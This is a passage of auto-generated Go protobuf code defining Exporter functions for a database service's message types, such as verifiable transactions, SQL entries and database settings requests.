nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableTxV2); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableEntry); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*InclusionProof); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SetRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*KeyRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*KeyListRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteKeysRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableSetRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableGetRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ServerInfoRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ServerInfoResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*HealthResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseHealthResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ImmutableState); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ReferenceRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableReferenceRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ZAddRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Score); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ZScanRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*HistoryRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableZAddRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TxRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*EntriesSpec); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*EntryTypeSpec); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableTxRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TxScanRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TxList); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ExportTxRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ReplicaState); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Database); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseSettings); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CreateDatabaseRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CreateDatabaseResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UpdateDatabaseRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UpdateDatabaseResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseSettingsRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseSettingsResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NullableUint32); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NullableUint64); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NullableFloat); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NullableBool); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NullableString); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*NullableMilliseconds); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseNullableSettings); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ReplicationNullableSettings); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TruncationNullableSettings); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*IndexNullableSettings); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*AHTNullableSettings); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*LoadDatabaseRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*LoadDatabaseResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UnloadDatabaseRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UnloadDatabaseResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteDatabaseRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteDatabaseResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*FlushIndexRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*FlushIndexResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Table); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLGetRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableSQLGetRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLEntry); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableSQLEntry); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UseDatabaseReply); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ChangePermissionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ChangeSQLPrivilegesRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ChangeSQLPrivilegesResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SetActiveUserRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseListResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseListRequestV2); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseListResponseV2); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DatabaseInfo); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Chunk); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UseSnapshotRequest); i {\n\t\t\tcase 